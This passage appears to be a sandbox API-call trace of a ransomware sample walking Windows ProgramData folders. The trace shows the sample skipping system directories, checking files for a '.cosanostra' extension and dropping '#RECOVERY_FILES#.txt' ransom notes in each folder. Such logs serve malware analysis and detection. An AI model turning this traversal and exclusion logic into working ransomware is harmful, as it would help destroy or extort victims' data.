(lpString="$Recycle.bin") returned 12 [0079.309] lstrcmpiW (lpString1="Security", lpString2="System Volume Information") returned -1 [0079.309] lstrlenW (lpString="System Volume Information") returned 25 [0079.309] wnsprintfW (in: pszDest=0x29e7e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 56 [0079.309] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0079.309] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0079.310] wnsprintfW (in: pszDest=0x2b48c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 58 [0079.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0079.310] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.310] lstrlenW (lpString="Windows") returned 7 [0079.310] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.310] lstrlenW (lpString="Program Files") returned 13 [0079.310] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.310] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.310] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.310] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.310] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.310] lstrlenW (lpString="System Volume Information") returned 25 [0079.310] wnsprintfW (in: pszDest=0x2b48c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\.") returned 58 [0079.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.310] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.311] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.311] lstrlenW (lpString="Windows") returned 7 [0079.311] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.311] lstrlenW (lpString="Program Files") returned 13 [0079.311] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.311] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.311] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.311] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.311] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.311] lstrlenW (lpString="System Volume Information") returned 25 [0079.311] wnsprintfW (in: pszDest=0x2b48c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\..") returned 59 [0079.311] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.311] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.311] lstrcmpiW (lpString1="directories.acrodata", lpString2="Windows") returned -1 [0079.311] lstrlenW (lpString="Windows") returned 7 [0079.311] lstrcmpiW (lpString1="directories.acrodata", lpString2="Program Files") returned -1 [0079.311] lstrlenW (lpString="Program Files") returned 13 [0079.311] lstrcmpiW (lpString1="directories.acrodata", lpString2="Program Files (x86)") returned -1 [0079.311] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.311] lstrcmpiW (lpString1="directories.acrodata", lpString2="$Recycle.bin") returned 1 [0079.311] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.311] lstrcmpiW (lpString1="directories.acrodata", lpString2="System Volume Information") returned -1 [0079.311] lstrlenW (lpString="System Volume Information") returned 25 [0079.311] wnsprintfW (in: pszDest=0x2b48c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned 77 [0079.311] StrStrIW (lpFirst="directories.acrodata", lpSrch=".cosanostra") returned 0x0 [0079.311] lstrcmpW (lpString1="directories.acrodata", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.311] lstrcmpW (lpString1="directories.acrodata", lpString2="_uninstalling_.png") returned 1 [0079.311] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned 77 [0079.311] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0079.311] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0079.312] wnsprintfW (in: pszDest=0x2b48c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\#RECOVERY_FILES#.txt") returned 77 [0079.312] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\#RECOVERY_FILES#.txt") returned 77 [0079.312] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.312] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.312] wnsprintfW (in: pszDest=0x29e7e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\#RECOVERY_FILES#.txt") returned 68 [0079.312] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\#RECOVERY_FILES#.txt") returned 68 [0079.312] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.313] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.313] wnsprintfW (in: pszDest=0x28e7a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\#RECOVERY_FILES#.txt") returned 58 [0079.313] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\#RECOVERY_FILES#.txt") returned 58 [0079.313] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.313] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.313] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\#RECOVERY_FILES#.txt") returned 53 [0079.313] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\#RECOVERY_FILES#.txt") returned 53 [0079.314] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.314] lstrcmpiW (lpString1="ARM", lpString2="Windows") returned -1 [0079.314] lstrlenW (lpString="Windows") returned 7 [0079.314] lstrcmpiW (lpString1="ARM", lpString2="Program Files") returned -1 [0079.314] lstrlenW (lpString="Program Files") returned 13 [0079.314] lstrcmpiW (lpString1="ARM", lpString2="Program Files (x86)") returned -1 [0079.314] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.314] lstrcmpiW (lpString1="ARM", lpString2="$Recycle.bin") returned 1 [0079.314] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.314] lstrcmpiW (lpString1="ARM", lpString2="System Volume Information") returned -1 [0079.314] lstrlenW (lpString="System Volume Information") returned 25 [0079.314] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM") returned 28 [0079.314] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0079.314] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0079.315] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*") returned 30 [0079.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.315] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.315] lstrlenW (lpString="Windows") returned 7 [0079.315] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.315] lstrlenW (lpString="Program Files") returned 13 [0079.315] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.315] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.315] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.315] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.315] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.315] lstrlenW (lpString="System Volume Information") returned 25 [0079.315] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\.") returned 30 [0079.315] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.315] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.316] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.316] lstrlenW (lpString="Windows") returned 7 [0079.316] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.316] lstrlenW (lpString="Program Files") returned 13 [0079.316] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.316] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.316] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.316] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.316] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.316] lstrlenW (lpString="System Volume Information") returned 25 [0079.316] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\..") returned 31 [0079.316] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.316] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.316] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.316] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Windows") returned -1 [0079.316] lstrlenW (lpString="Windows") returned 7 [0079.316] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Program Files") returned 1 [0079.316] lstrlenW (lpString="Program Files") returned 13 [0079.316] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Program Files (x86)") returned 1 [0079.316] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.316] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="$Recycle.bin") returned 1 [0079.316] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.316] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="System Volume Information") returned -1 [0079.316] lstrlenW (lpString="System Volume Information") returned 25 [0079.316] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned 42 [0079.316] lstrcmpW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0079.316] lstrcmpW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0079.317] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*") returned 44 [0079.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.458] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.458] lstrlenW (lpString="Windows") returned 7 [0079.458] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.458] lstrlenW (lpString="Program Files") returned 13 [0079.458] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.458] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.458] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.458] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.458] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.458] lstrlenW (lpString="System Volume Information") returned 25 [0079.458] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\.") returned 44 [0079.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.458] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.458] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.458] lstrlenW (lpString="Windows") returned 7 [0079.458] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.458] lstrlenW (lpString="Program Files") returned 13 [0079.458] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.458] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.458] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.458] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.458] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.458] lstrlenW (lpString="System Volume Information") returned 25 [0079.458] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\..") returned 45 [0079.458] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.458] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.458] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.458] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Windows") returned -1 [0079.458] lstrlenW (lpString="Windows") returned 7 [0079.458] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Program Files") returned -1 [0079.458] lstrlenW (lpString="Program Files") returned 13 [0079.459] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Program Files (x86)") returned -1 [0079.459] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.459] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="$Recycle.bin") returned 1 [0079.459] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.459] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="System Volume Information") returned -1 [0079.459] lstrlenW (lpString="System Volume Information") returned 25 [0079.459] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 65 [0079.459] StrStrIW (lpFirst="AdbeRdrSecUpd10111.msp", lpSrch=".cosanostra") returned 0x0 [0079.459] lstrcmpW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.459] lstrcmpW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="_uninstalling_.png") returned 1 [0079.459] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 65 [0079.459] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Windows") returned -1 [0079.459] lstrlenW (lpString="Windows") returned 7 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Program Files") returned -1 [0079.459] lstrlenW (lpString="Program Files") returned 13 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Program Files (x86)") returned -1 [0079.459] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="$Recycle.bin") returned 1 [0079.459] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="System Volume Information") returned -1 [0079.459] lstrlenW (lpString="System Volume Information") returned 25 [0079.459] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 66 [0079.459] StrStrIW (lpFirst="AdbeRdrUpd10110_MUI.msp", lpSrch=".cosanostra") returned 0x0 [0079.459] lstrcmpW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.459] lstrcmpW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="_uninstalling_.png") returned 1 [0079.459] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 66 [0079.459] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="Windows") returned -1 [0079.459] lstrlenW (lpString="Windows") returned 7 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="Program Files") returned -1 [0079.459] lstrlenW (lpString="Program Files") returned 13 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="Program Files (x86)") returned -1 [0079.459] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="$Recycle.bin") returned 1 [0079.459] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.459] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="System Volume Information") returned -1 [0079.459] lstrlenW (lpString="System Volume Information") returned 25 [0079.459] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 66 [0079.459] StrStrIW (lpFirst="AdbeRdrUpd10116_MUI.msp", lpSrch=".cosanostra") returned 0x0 [0079.459] lstrcmpW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.459] lstrcmpW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="_uninstalling_.png") returned 1 [0079.460] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 66 [0079.460] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.460] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.460] wnsprintfW (in: pszDest=0x2b38c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\#RECOVERY_FILES#.txt") returned 63 [0079.460] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\#RECOVERY_FILES#.txt") returned 63 [0079.460] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.460] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.460] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\#RECOVERY_FILES#.txt") returned 49 [0079.460] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\#RECOVERY_FILES#.txt") returned 49 [0079.461] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0079.461] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0079.462] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\#RECOVERY_FILES#.txt") returned 45 [0079.462] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\#RECOVERY_FILES#.txt") returned 45 [0079.462] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.462] lstrcmpiW (lpString1="Application Data", lpString2="Windows") returned -1 [0079.462] lstrlenW (lpString="Windows") returned 7 [0079.462] lstrcmpiW (lpString1="Application Data", lpString2="Program Files") returned -1 [0079.462] lstrlenW (lpString="Program Files") returned 13 [0079.462] lstrcmpiW (lpString1="Application Data", lpString2="Program Files (x86)") returned -1 [0079.462] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.462] lstrcmpiW (lpString1="Application Data", lpString2="$Recycle.bin") returned 1 [0079.462] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.462] lstrcmpiW (lpString1="Application Data", lpString2="System Volume Information") returned -1 [0079.462] lstrlenW (lpString="System Volume Information") returned 25 [0079.462] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Application Data") returned 35 [0079.462] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0079.462] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0079.462] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Application Data\\*") returned 37 [0079.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Application Data\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0xffffffff [0079.462] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.462] lstrcmpiW (lpString1="Desktop", lpString2="Windows") returned -1 [0079.462] lstrlenW (lpString="Windows") returned 7 [0079.462] lstrcmpiW (lpString1="Desktop", lpString2="Program Files") returned -1 [0079.462] lstrlenW (lpString="Program Files") returned 13 [0079.462] lstrcmpiW (lpString1="Desktop", lpString2="Program Files (x86)") returned -1 [0079.462] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.462] lstrcmpiW (lpString1="Desktop", lpString2="$Recycle.bin") returned 1 [0079.462] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.462] lstrcmpiW (lpString1="Desktop", lpString2="System Volume Information") returned -1 [0079.462] lstrlenW (lpString="System Volume Information") returned 25 [0079.462] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Desktop") returned 26 [0079.462] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0079.462] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0079.462] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Desktop\\*") returned 28 [0079.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Desktop\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0xffffffff [0079.463] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.463] lstrcmpiW (lpString1="Documents", lpString2="Windows") returned -1 [0079.463] lstrlenW (lpString="Windows") returned 7 [0079.463] lstrcmpiW (lpString1="Documents", lpString2="Program Files") returned -1 [0079.463] lstrlenW (lpString="Program Files") returned 13 [0079.463] lstrcmpiW (lpString1="Documents", lpString2="Program Files (x86)") returned -1 [0079.463] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.463] lstrcmpiW (lpString1="Documents", lpString2="$Recycle.bin") returned 1 [0079.463] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.463] lstrcmpiW (lpString1="Documents", lpString2="System Volume Information") returned -1 [0079.463] lstrlenW (lpString="System Volume Information") returned 25 [0079.463] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Documents") returned 28 [0079.463] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0079.463] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0079.463] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Documents\\*") returned 30 [0079.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Documents\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0xffffffff [0079.463] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.463] lstrcmpiW (lpString1="Favorites", lpString2="Windows") returned -1 [0079.463] lstrlenW (lpString="Windows") returned 7 [0079.463] lstrcmpiW (lpString1="Favorites", lpString2="Program Files") returned -1 [0079.463] lstrlenW (lpString="Program Files") returned 13 [0079.463] lstrcmpiW (lpString1="Favorites", lpString2="Program Files (x86)") returned -1 [0079.463] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.463] lstrcmpiW (lpString1="Favorites", lpString2="$Recycle.bin") returned 1 [0079.463] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.463] lstrcmpiW (lpString1="Favorites", lpString2="System Volume Information") returned -1 [0079.463] lstrlenW (lpString="System Volume Information") returned 25 [0079.463] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Favorites") returned 28 [0079.463] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0079.463] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0079.463] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Favorites\\*") returned 30 [0079.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Favorites\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0xffffffff [0079.464] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.464] lstrcmpiW (lpString1="Microsoft", lpString2="Windows") returned -1 [0079.464] lstrlenW (lpString="Windows") returned 7 [0079.464] lstrcmpiW (lpString1="Microsoft", lpString2="Program Files") returned -1 [0079.464] lstrlenW (lpString="Program Files") returned 13 [0079.464] lstrcmpiW (lpString1="Microsoft", lpString2="Program Files (x86)") returned -1 [0079.464] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.464] lstrcmpiW (lpString1="Microsoft", lpString2="$Recycle.bin") returned 1 [0079.464] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.464] lstrcmpiW (lpString1="Microsoft", lpString2="System Volume Information") returned -1 [0079.464] lstrlenW (lpString="System Volume Information") returned 25 [0079.464] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft") returned 28 [0079.464] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0079.464] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0079.464] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\*") returned 30 [0079.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0079.464] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.464] lstrlenW (lpString="Windows") returned 7 [0079.464] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.464] lstrlenW (lpString="Program Files") returned 13 [0079.464] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.464] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.464] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.464] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.464] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.464] lstrlenW (lpString="System Volume Information") returned 25 [0079.464] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: 